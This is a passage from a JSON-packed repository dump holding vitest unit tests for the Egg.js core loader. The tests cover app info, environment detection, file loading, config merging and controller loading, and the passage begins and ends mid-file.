    "content": "import assert from 'node:assert/strict';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../helper.js';\n\ndescribe('test/loader/get_app_info.test.ts', () => {\n  let app: Application;\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('should get appInfo', () => {\n    app = createApp('appinfo');\n    assert.equal(app.loader.appInfo.name, 'appinfo');\n    assert.equal(app.loader.appInfo.baseDir, getFilepath('appinfo'));\n    assert.equal(app.loader.appInfo.env, 'unittest');\n    assert.equal(app.loader.appInfo.HOME, process.env.HOME);\n    assert.deepEqual(app.loader.appInfo.pkg, {\n      name: 'appinfo',\n    });\n  });\n\n  it('should get root when unittest', () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'unittest');\n    app = createApp('appinfo');\n    assert.equal(app.loader.appInfo.root, getFilepath('appinfo'));\n  });\n\n  it('should get root when unittest', () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'local');\n    app = createApp('appinfo');\n    assert.equal(app.loader.appInfo.root, getFilepath('appinfo'));\n  });\n\n  it('should get root when unittest', () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'default');\n    app = createApp('appinfo');\n    assert.equal(app.loader.appInfo.root, process.env.HOME);\n  });\n\n  it('should get scope when specified', () => {\n    mm(process.env, 'EGG_SERVER_SCOPE', 'en');\n    app = createApp('appinfo');\n    assert.equal(app.loader.appInfo.scope, 'en');\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/get_appname.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it, afterEach } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../helper.js';\n\ndescribe('test/loader/get_appname.test.ts', () => {\n  let app: Application;\n  afterEach(() => app && app.close());\n\n  it('should get appname', () => {\n    app = createApp('appname');\n    assert.equal(app.loader.getAppname(), 'appname');\n  });\n\n  it('should throw when appname is not found', () => {\n    const pkg = getFilepath('app-noname/package.json');\n    assert.throws(\n      () => {\n        createApp('app-noname');\n      },\n      (err: any) => {\n        return err.message.includes(`name is required from ${pkg}`);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/get_framework_paths.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { importModule } from '@eggjs/utils';\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { EggLoader, EggCore } from '../../src/index.ts';\nimport { createApp, getFilepath, type Application } from '../helper.ts';\n\ndescribe('test/loader/get_framework_paths.test.ts', () => {\n  let app: Application;\n  afterEach(mm.restore);\n  afterEach(() => app && app.close());\n\n  it('should get from parameter', () => {\n    app = createApp('eggpath');\n    let eggPaths = app.loader.eggPaths;\n    if (process.platform === 'win32') {\n      eggPaths = eggPaths.map((filepath) => filepath.toLowerCase());\n    }\n    assert.deepEqual(eggPaths, [getFilepath('egg-esm')]);\n  });\n\n  it.skip('should get from framework using symbol', async () => {\n    const Application = await importModule(getFilepath('framework-symbol/index.js'), { importDefaultOnly: true });\n    app = createApp('eggpath', {\n      Application,\n    });\n    assert.deepEqual(app.loader.eggPaths, [\n      getFilepath('egg'),\n      getFilepath('framework-symbol/node_modules/framework2'),\n      getFilepath('framework-symbol'),\n    ]);\n  });\n\n  it.skip('should throw when one of the Application do not specify symbol', async () => {\n    const AppClass = await importModule(getFilepath('framework-nosymbol/index.js'), { importDefaultOnly: true });\n    assert.throws(() => {\n      const app = createApp('eggpath', {\n        Application: AppClass,\n      });\n      console.log(app);\n    }, /Symbol.for\\('egg#eggPath'\\) is required on Application/);\n  });\n\n  it.skip('should remove dulplicate eggPath', async () => {\n    const Application = await importModule(getFilepath('framework-dulp/index.js'), {\n      importDefaultOnly: true,\n    });\n    console.log(Application);\n    app = createApp('eggpath', {\n      Application,\n    });\n    assert.deepEqual(app.loader.eggPaths, [getFilepath('egg'), getFilepath('framework-dulp')]);\n  });\n\n  it('should when Application do not extend EggCore in old way', () => {\n    class CustomApplication {\n      loader: EggLoader;\n      constructor() {\n        this.loader = new EggLoader({\n          baseDir: getFilepath('eggpath'),\n          app: this,\n          logger: console,\n          EggCoreClass: EggCore,\n        } as any);\n      }\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath('egg-esm');\n      }\n      close() {\n        // empty\n      }\n    }\n\n    app = createApp('eggpath', {\n      Application: CustomApplication as any,\n    });\n    assert.equal(app.loader.eggPaths.length, 1);\n    assert.equal(app.loader.eggPaths[0], getFilepath('egg-esm'));\n  });\n\n  it('should when Application do not extend EggCore in new way', () => {\n    class CustomApplication extends EggCore {\n      loader: EggLoader;\n      constructor() {\n        super();\n        this.loader = new EggLoader({\n          baseDir: getFilepath('eggpath'),\n          app: this,\n          logger: console,\n          EggCoreClass: EggCore,\n        } as any);\n      }\n      protected override customEggPaths() {\n        return [getFilepath('egg-esm'), ...super.customEggPaths()];\n      }\n      async close() {\n        // empty\n      }\n    }\n\n    app = createApp('eggpath', {\n      Application: CustomApplication as any,\n    });\n    assert.equal(app.loader.eggPaths.length, 1);\n    assert.equal(app.loader.eggPaths[0], getFilepath('egg-esm'));\n  });\n\n  it.skip('should assert eggPath type', async () => {\n    await assert.rejects(\n      async () => {\n        createApp('eggpath', {\n          Application: await importModule(getFilepath('framework-wrong-eggpath/index.js'), { importDefaultOnly: true }),\n        });\n      },\n      (err: any) => {\n        // console.error(err);\n        assert.match(err.message, /Symbol.for\\('egg#eggPath'\\) should be string/);\n        return true;\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/get_load_units.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../helper.js';\n\ndescribe('test/loader/get_load_units.test.ts', () => {\n  let app: Application;\n  afterEach(mm.restore);\n  afterEach(() => app.close());\n\n  it('should get plugin dir', async () => {\n    app = createApp('plugin');\n    await app.loader.loadPlugin();\n    // delete cache\n    delete app.loader.dirs;\n    const units = app.loader.getLoadUnits();\n    assert.equal(units.length, 12);\n    assert.equal(units[10].type, 'framework');\n    if (process.platform === 'win32') {\n      assert.equal(units[10].path.toLowerCase(), getFilepath('egg-esm'));\n    } else {\n      assert.equal(units[10].path, getFilepath('egg-esm'));\n    }\n    assert.equal(units[11].type, 'app');\n    if (process.platform === 'win32') {\n      assert.equal(units[11].path.toLowerCase(), getFilepath('plugin'));\n    } else {\n      assert.equal(units[11].path, getFilepath('plugin'));\n    }\n  });\n\n  it('should not get plugin dir', () => {\n    app = createApp('plugin');\n    const units = app.loader.getLoadUnits();\n    assert.equal(units.length, 2);\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/get_server_env.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { createApp, type Application } from '../helper.js';\n\ndescribe('test/loader/get_server_env.test.ts', () => {\n  let app: Application;\n  afterEach(mm.restore);\n  afterEach(() => app.close());\n\n  it('should get from env EGG_SERVER_ENV', () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'prod');\n    app = createApp('serverenv');\n    assert.equal(app.loader.serverEnv, 'prod');\n  });\n  it('should use test when EGG_SERVER_ENV = \"test \"', () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'test ');\n    app = createApp('serverenv');\n    assert.equal(app.loader.serverEnv, 'test');\n  });\n  it('should use unittest when NODE_ENV = test', () => {\n    mm(process.env, 'NODE_ENV', 'test');\n    app = createApp('serverenv');\n    assert.equal(app.loader.serverEnv, 'unittest');\n  });\n\n  it('should use prod when NODE_ENV = production', () => {\n    mm(process.env, 'NODE_ENV', 'production');\n    app = createApp('serverenv');\n    assert.equal(app.loader.serverEnv, 'prod');\n  });\n\n  it('should use local when NODE_ENV is other', () => {\n    mm(process.env, 'NODE_ENV', 'development');\n    app = createApp('serverenv');\n    assert.equal(app.loader.serverEnv, 'local');\n  });\n\n  it('should get from config/env', () => {\n    mm(process.env, 'NODE_ENV', 'production');\n    mm(process.env, 'EGG_SERVER_ENV', 'test');\n    app = createApp('serverenv-file');\n    assert.equal(app.loader.serverEnv, 'prod');\n  });\n\n  it('should get from options.env', () => {\n    app = createApp('serverenv', { env: 'prod' });\n    assert.equal(app.loader.serverEnv, 'prod');\n  });\n\n  it('should use options.env first', () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'test');\n    app = createApp('serverenv-file', { env: 'development' });\n    assert.equal(app.loader.serverEnv, 'development');\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/load_file.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../helper.js';\n\ndescribe('test/loader/load_file.test.ts', () => {\n  let app: Application;\n  afterEach(mm.restore);\n  afterEach(() => app.close());\n\n  it('should load file', async () => {\n    app = createApp('load_file');\n    const exports = await app.loader.loadFile(getFilepath('load_file/obj.js'));\n    assert.deepEqual(exports, { a: 1 });\n    const exports2 = await app.loader.loadFile(getFilepath('load_file/obj'));\n    assert.deepEqual(exports2, { a: 1 });\n  });\n\n  it('should load file when exports is function', async () => {\n    app = createApp('load_file');\n    const exports = await app.loader.loadFile(getFilepath('load_file/function.js'), 1, 2);\n    assert.deepEqual(exports, [1, 2]);\n  });\n\n  it('should throw with filepath when file syntax error', async () => {\n    await assert.rejects(\n      async () => {\n        app = createApp('syntaxerror');\n        await app.loader.loadCustomApp();\n      },\n      (err: any) => {\n        assert.match(\n          err.message,\n          /error: Unexpected end of input|Failed to parse source for import analysis because the content contains invalid JS syntax/,\n        );\n        return true;\n      },\n    );\n  });\n\n  it('should load custom file', async () => {\n    app = createApp('load_file');\n    const buf = await app.loader.loadFile(getFilepath('load_file/no-js.yml'));\n    let result = buf.toString();\n    if (process.platform === 'win32') {\n      result = result.replaceAll('\\r\\n', '\\n');\n    }\n    assert.equal(result, '---\\nmap:\\n  a: 1\\n  b: 2\\n');\n  });\n\n  it('should load cjs module file which returns function returning a promise', async () => {\n    app = createApp('load_file');\n    const result = await app.loader.loadFile(getFilepath('load_file/promise_function.js'));\n    assert.deepEqual(result, { clients: 'Test Config' });\n  });\n\n  it('should load cjs module file which returns async function', async () => {\n    app = createApp('load_file');\n    const result = await app.loader.loadFile(getFilepath('load_file/async.js'));\n    assert.deepEqual(result, { clients: 'Test Config' });\n  });\n\n  it('should load compiled es module file', async () => {\n    app = createApp('load_file');\n    const result = await app.loader.loadFile(getFilepath('load_file/es-module-default.js'));\n    assert(result.fn);\n  });\n\n  it('should load compiled es module file which default = null', async () => {\n    app = createApp('load_file');\n    const result = await app.loader.loadFile(getFilepath('load_file/es-module-default-null.js'));\n    assert.equal(result, null);\n  });\n\n  it('should load compiled es module file which default = function returning a promise', async () => {\n    app = createApp('load_file');\n    const result = await app.loader.loadFile(getFilepath('load_file/es-module-default-promise.js'));\n    assert.deepEqual(result, { clients: 'Test Config' });\n  });\n\n  it('should load compiled es module file which default = async function', async () => {\n    app = createApp('load_file');\n    const result = await app.loader.loadFile(getFilepath('load_file/es-module-default-async.js'));\n    assert.deepEqual(result, { clients: 'Test Config' });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_agent_extend.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_agent_extend.test.ts', () => {\n  let agent: any;\n  beforeAll(async () => {\n    agent = createApp('agent');\n    await agent.loader.loadPlugin();\n    await agent.loader.loadConfig();\n    await agent.loader.loadAgentExtend();\n  });\n  afterAll(() => agent.close());\n\n  it('should load extend from chair, plugin and agent', () => {\n    assert(agent.poweredBy);\n    assert(agent.a);\n    assert(agent.b);\n    assert(agent.foo);\n    assert(agent.bar);\n  });\n\n  it('should override chair by plugin', () => {\n    assert(agent.a === 'plugin a');\n    assert(agent.b === 'plugin b');\n    assert(agent.poweredBy === 'plugin a');\n  });\n\n  it('should override plugin by agent', () => {\n    assert(agent.foo === 'agent bar');\n    assert(agent.bar === 'foo');\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_application_extend.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_application_extend.test.ts', () => {\n  let app: any;\n  beforeAll(async () => {\n    app = createApp('application');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadApplicationExtend();\n  });\n  afterAll(() => app.close());\n\n  it('should load extend from chair, plugin and application', () => {\n    assert(app.poweredBy);\n    assert(app.a);\n    assert(app.b);\n    assert(app.foo);\n    assert(app.bar);\n  });\n\n  it('should override chair by plugin', () => {\n    assert(app.a === 'plugin a');\n    assert(app.b === 'plugin b');\n    assert(app.poweredBy === 'plugin a');\n  });\n\n  it('should override plugin by app', () => {\n    assert(app.foo === 'app bar');\n    assert(app.bar === 'foo');\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_config.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { EggCore } from '../../../src/index.js';\nimport { createApp, getFilepath, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_config.test.ts', () => {\n  let app: Application;\n  afterEach(() => app.close());\n  afterEach(mm.restore);\n\n  it('should load application config overriding default of egg', async () => {\n    app = createApp('config');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(loader.config.name === 'config-test');\n    assert(loader.config.test === 1);\n    // 支持嵌套覆盖\n    assert.deepEqual(loader.config.urllib, {\n      keepAlive: false,\n      keepAliveTimeout: 30_000,\n      timeout: 30_000,\n      maxSockets: Number.POSITIVE_INFINITY,\n      maxFreeSockets: 256,\n    });\n  });\n\n  it('should load plugin config overriding default of egg', async () => {\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(loader.config.name === 'override default');\n  });\n\n  it('should load application config overriding plugin', async () => {\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(loader.config.plugin === 'override plugin');\n  });\n\n  // egg config.default\n  //   framework config.default\n  //     egg config.local\n  //       framework config.local\n  it('should load config by env', async () => {\n    app = createApp('config-env');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(loader.config.egg === 'egg-unittest');\n  });\n\n  it('should override config by env.EGG_APP_CONFIG', async () => {\n    mm(\n      process.env,\n      'EGG_APP_CONFIG',\n      JSON.stringify({\n        egg: 'env_egg',\n        foo: {\n          bar: 'env_bar',\n        },\n      }),\n    );\n    app = createApp('config-env-app-config');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(loader.config.egg === 'env_egg');\n    assert(loader.config.foo.bar === 'env_bar');\n    assert(loader.config.foo.bar2 === 'b');\n    assert(loader.configMeta.egg === '<process.env.EGG_APP_CONFIG>');\n    assert(loader.configMeta.foo.bar === '<process.env.EGG_APP_CONFIG>');\n  });\n\n  it('should override config with invalid env.EGG_APP_CONFIG', async () => {\n    mm(process.env, 'EGG_APP_CONFIG', 'abc');\n    app = createApp('config-env-app-config');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(loader.config.egg === 'egg-unittest');\n    assert(loader.config.foo.bar === 'a');\n    assert(loader.config.foo.bar2 === 'b');\n  });\n\n  it('should not load config of plugin that is disabled', async () => {\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(!loader.config.pluginA);\n  });\n\n  it('should throw when plugin define middleware', async () => {\n    const pluginDir = getFilepath('plugin/plugin-middleware');\n    app = createApp('plugin', {\n      plugins: {\n        middleware: {\n          enable: true,\n          path: pluginDir,\n        },\n      },\n    });\n    const loader = app.loader;\n    try {\n      await loader.loadPlugin();\n      await loader.loadConfig();\n      throw new Error('should not run');\n    } catch (err: any) {\n      assert(err.message.includes(`Can not define middleware in ${path.join(pluginDir, 'config/config.default.js')}`));\n    }\n  });\n\n  it('should throw when app define coreMiddleware', async () => {\n    app = createApp('app-core-middleware');\n    await assert.rejects(async () => {\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n    }, new RegExp('Can not define coreMiddleware in app or plugin'));\n  });\n\n  it('should read appinfo from the function of config', async () => {\n    app = createApp('preload-app-config');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(loader.config.plugin.val === 2);\n    assert(loader.config.plugin.val === 2);\n    assert(loader.config.plugin.sub !== loader.config.app.sub);\n    assert(loader.config.appInApp === false);\n  });\n\n  it('should load config without coreMiddleware', async () => {\n    app = new EggCore({\n      baseDir: getFilepath('no-core-middleware'),\n    }) as any;\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    assert.equal(app.config.coreMiddleware.length, 0);\n  });\n\n  it('should override array', async () => {\n    app = createApp('config-array');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    assert.deepEqual(app.config.array, [1, 2]);\n  });\n\n  it('should generate configMeta', async () => {\n    app = createApp('configmeta');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    const configMeta = app.loader.configMeta;\n    const configPath = getFilepath('configmeta/config/config.js');\n    if (process.platform === 'win32') {\n      assert.equal(configMeta.console.toLowerCase(), configPath);\n      assert.equal(configMeta.array.toLowerCase(), configPath);\n      assert.equal(configMeta.buffer.toLowerCase(), configPath);\n      assert.equal(configMeta.ok.toLowerCase(), configPath);\n      assert.equal(configMeta.f.toLowerCase(), configPath);\n      assert.equal(configMeta.empty.toLowerCase(), configPath);\n      assert.equal(configMeta.zero.toLowerCase(), configPath);\n      assert.equal(configMeta.number.toLowerCase(), configPath);\n      assert.equal(configMeta.no.toLowerCase(), configPath);\n      assert.equal(configMeta.date.toLowerCase(), configPath);\n      assert.equal(configMeta.ooooo.toLowerCase(), configPath);\n      assert.equal(configMeta.urllib.keepAlive.toLowerCase(), configPath);\n      assert.equal(configMeta.urllib.timeout.toLowerCase(), getFilepath('egg-esm/config/config.default.js'));\n      assert.equal(configMeta.urllib.foo.toLowerCase(), configPath);\n      assert.equal(configMeta.urllib.n.toLowerCase(), configPath);\n      assert.equal(configMeta.urllib.dd.toLowerCase(), configPath);\n      assert.equal(configMeta.urllib.httpclient.toLowerCase(), configPath);\n    } else {\n      assert.equal(configMeta.console, configPath);\n      assert.equal(configMeta.array, configPath);\n      assert.equal(configMeta.buffer, configPath);\n      assert.equal(configMeta.ok, configPath);\n      assert.equal(configMeta.f, configPath);\n      assert.equal(configMeta.empty, configPath);\n      assert.equal(configMeta.zero, configPath);\n      assert.equal(configMeta.number, configPath);\n      assert.equal(configMeta.no, configPath);\n      assert.equal(configMeta.date, configPath);\n      assert.equal(configMeta.ooooo, configPath);\n      assert.equal(configMeta.urllib.keepAlive, configPath);\n      assert.equal(configMeta.urllib.timeout, getFilepath('egg-esm/config/config.default.js'));\n      assert.equal(configMeta.urllib.foo, configPath);\n      assert.equal(configMeta.urllib.n, configPath);\n      assert.equal(configMeta.urllib.dd, configPath);\n      assert.equal(configMeta.urllib.httpclient, configPath);\n    }\n    // undefined will be ignore\n    assert.equal(configMeta.urllib.bar, undefined);\n  });\n\n  describe('get config with scope', () => {\n    it('should return without scope when env = default', async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'default');\n      app = createApp('scope-env');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await app.loader.loadConfig();\n      assert(loader.config.from === 'default');\n    });\n\n    it('should return without scope when env = prod', async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'prod');\n      app = createApp('scope-env');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await app.loader.loadConfig();\n      assert(loader.config.from === 'prod');\n    });\n\n    it('should return with scope when env = default', async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'default');\n      mm(process.env, 'EGG_SERVER_SCOPE', 'en');\n      app = createApp('scope-env');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await app.loader.loadConfig();\n      assert(loader.config.from === 'en');\n    });\n\n    it('should return with scope when env = prod', async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'prod');\n      mm(process.env, 'EGG_SERVER_SCOPE', 'en');\n      app = createApp('scope-env');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await app.loader.loadConfig();\n      assert(loader.config.from === 'en_prod');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_controller.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { request } from '@eggjs/supertest';\nimport { isFunction, isAsyncFunction } from 'is-type-of';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_controller.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = createApp('controller-app');\n    await app.loader.loadAll();\n    return app.ready();\n  });\n  afterAll(() => app.close());\n\n  describe('when controller is async function', () => {\n    it('should use it as middleware', () => {\n      assert(app.controller.asyncFunction);\n\n      return request(app.callback()).get('/async-function').expect(200).expect('done');\n    });\n  });\n\n  describe('when controller is generator function', () => {\n    it('should use it as middleware', () => {\n      assert(app.controller.generatorFunction);\n      assert.equal(app.controller.generatorFunction.name, 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/generator_function.js');\n      assert.equal(app.controller.generatorFunction[app.loader.FileLoader.FULLPATH], classFilePath);\n\n      return request(app.callback()).get('/generator-function').expect(200).expect('done');\n    });\n\n    it('should first argument is ctx', () => {\n      assert(app.controller.generatorFunction);\n\n      return request(app.callback()).get('/generator-function-ctx').expect(200).expect('done');\n    });\n  });\n\n  describe('when controller is object', () => {\n    it('should define method which is function', () => {\n      assert(app.controller.object.callFunction);\n      assert(app.controller.object.callFunction.name === 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/object.js');\n      assert(app.controller.object.callFunction[app.loader.FileLoader.FULLPATH] === classFilePath + '#callFunction()');\n\n      return request(app.callback()).get('/object-function').expect(200).expect('done');\n    });\n\n    it('should define method which is generator function', () => {\n      assert(app.controller.object.callGeneratorFunction);\n      assert(app.controller.object.callGeneratorFunction.name === 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/object.js');\n      assert(\n        app.controller.object.callGeneratorFunction[app.loader.FileLoader.FULLPATH] ===\n          classFilePath + '#callGeneratorFunction()',\n      );\n\n      return request(app.callback()).get('/object-generator-function').expect(200).expect('done');\n    });\n\n    it('should define method on subObject', () => {\n      assert(app.controller.object.subObject.callGeneratorFunction);\n      assert(app.controller.object.subObject.callGeneratorFunction.name === 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/object.js');\n      assert(\n        app.controller.object.subObject.callGeneratorFunction[app.loader.FileLoader.FULLPATH] ===\n          classFilePath + '#subObject.callGeneratorFunction()',\n      );\n\n      return request(app.callback()).get('/subObject-generator-function').expect(200).expect('done');\n    });\n\n    it('should define method on subObject.subSubObject', () => {\n      assert(app.controller.object.subObject.subSubObject.callGeneratorFunction);\n      assert(app.controller.object.subObject.subSubObject.callGeneratorFunction.name === 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/object.js');\n      assert(\n        app.controller.object.subObject.subSubObject.callGeneratorFunction[app.loader.FileLoader.FULLPATH] ===\n          classFilePath + '#subObject.subSubObject.callGeneratorFunction()',\n      );\n\n      return request(app.callback()).get('/subSubObject-generator-function').expect(200).expect('done');\n    });\n\n    it('should define method which is generator function with argument', () => {\n      assert(app.controller.object.callGeneratorFunctionWithArg);\n      assert(app.controller.object.callGeneratorFunctionWithArg.name === 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/object.js');\n      assert(\n        app.controller.object.callGeneratorFunctionWithArg[app.loader.FileLoader.FULLPATH] ===\n          classFilePath + '#callGeneratorFunctionWithArg()',\n      );\n\n      return request(app.callback()).get('/object-generator-function-arg').expect(200).expect('done');\n    });\n\n    it('should define method which is async function', () => {\n      assert(app.controller.object.callAsyncFunction);\n      assert(app.controller.object.callAsyncFunction.name === 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/object.js');\n      assert(\n        app.controller.object.callAsyncFunction[app.loader.FileLoader.FULLPATH] ===\n          classFilePath + '#callAsyncFunction()',\n      );\n\n      return request(app.callback()).get('/object-async-function').expect(200).expect('done');\n    });\n\n    it('should define method which is async function with argument', () => {\n      assert(app.controller.object.callAsyncFunctionWithArg);\n      assert(app.controller.object.callAsyncFunctionWithArg.name === 'objectControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/object.js');\n      assert(\n        app.controller.object.callAsyncFunctionWithArg[app.loader.FileLoader.FULLPATH] ===\n          classFilePath + '#callAsyncFunctionWithArg()',\n      );\n\n      return request(app.callback()).get('/object-async-function-arg').expect(200).expect('done');\n    });\n\n    it('should not load properties that are not function', () => {\n      assert(!app.controller.object.nofunction);\n    });\n\n    it('should match app.resources', async () => {\n      await request(app.callback()).get('/resources-object').expect(200).expect('index');\n\n      await request(app.callback()).post('/resources-object').expect(200).expect('create');\n\n      await request(app.callback()).post('/resources-object/1').expect(404);\n    });\n  });\n\n  describe('when controller is class', () => {\n    it('should define method which is function', () => {\n      assert(app.controller.class.callFunction);\n      assert(app.controller.class.callFunction.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class.js');\n      assert(\n        app.controller.class.callFunction[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.callFunction()`,\n      );\n\n      return request(app.callback()).get('/class-function').expect(200).expect('done');\n    });\n\n    it('should define method which is generator function', () => {\n      assert(app.controller.class.callGeneratorFunction);\n      assert(app.controller.class.callGeneratorFunction.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class.js');\n      assert(\n        app.controller.class.callGeneratorFunction[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.callGeneratorFunction()`,\n      );\n\n      return request(app.callback()).get('/class-generator-function').expect(200).expect('done');\n    });\n\n    it('should define method which is generator function with ctx', () => {\n      assert(app.controller.class.callGeneratorFunctionWithArg);\n      assert(app.controller.class.callGeneratorFunctionWithArg.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class.js');\n      assert(\n        app.controller.class.callGeneratorFunctionWithArg[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.callGeneratorFunctionWithArg()`,\n      );\n\n      return request(app.callback()).get('/class-generator-function-arg').expect(200).expect('done');\n    });\n\n    it('should define method which is async function', () => {\n      assert(app.controller.class.callAsyncFunction);\n      assert(app.controller.class.callAsyncFunction.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class.js');\n      assert(\n        app.controller.class.callAsyncFunction[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.callAsyncFunction()`,\n      );\n\n      return request(app.callback()).get('/class-async-function').expect(200).expect('done');\n    });\n\n    it('should define method which is async function with ctx', () => {\n      assert(app.controller.class.callAsyncFunctionWithArg);\n      assert(app.controller.class.callAsyncFunctionWithArg.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class.js');\n      assert(\n        app.controller.class.callAsyncFunctionWithArg[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.callAsyncFunctionWithArg()`,\n      );\n\n      return request(app.callback()).get('/class-async-function-arg').expect(200).expect('done');\n    });\n\n    it('should load class that is inherited from its super class', () => {\n      assert(app.controller.classInherited.callInheritedFunction.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class_inherited.js');\n      assert(\n        app.controller.classInherited.callInheritedFunction[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.callInheritedFunction()`,\n      );\n\n      return request(app.callback()).get('/class-inherited-function').expect(200).expect('inherited');\n    });\n\n    it('should load inherited class without overriding its own function', () => {\n      assert(app.controller.classInherited.callOverriddenFunction);\n      assert(app.controller.classInherited.callOverriddenFunction.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class_inherited.js');\n      assert(\n        app.controller.classInherited.callOverriddenFunction[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.callOverriddenFunction()`,\n      );\n\n      return request(app.callback()).get('/class-overridden-function').expect(200).expect('own');\n    });\n\n    it('should not load properties that are not function', () => {\n      assert(!app.controller.class.nofunction);\n    });\n\n    it('should not override constructor', () => {\n      assert(/\\[native code]/.test(app.controller.class.constructor.toString()));\n    });\n\n    it('should load class that is wrapped by function', () => {\n      assert(app.controller.classWrapFunction.get);\n      assert(app.controller.classWrapFunction.get.name === 'classControllerMiddleware');\n      const classFilePath = path.join(app.baseDir, 'app/controller/class_wrap_function.js');\n      assert(\n        app.controller.classWrapFunction.get[app.loader.FileLoader.FULLPATH] ===\n          `${classFilePath}#HomeController.get()`,\n      );\n\n      return request(app.callback()).get('/class-wrap-function').expect(200).expect('done');\n    });\n\n    it('should match app.resources', async () => {\n      await request(app.callback()).get('/resources-class').expect(200).expect('index');\n\n      await request(app.callback()).post('/resources-class').expect(200).expect('create');\n\n      await 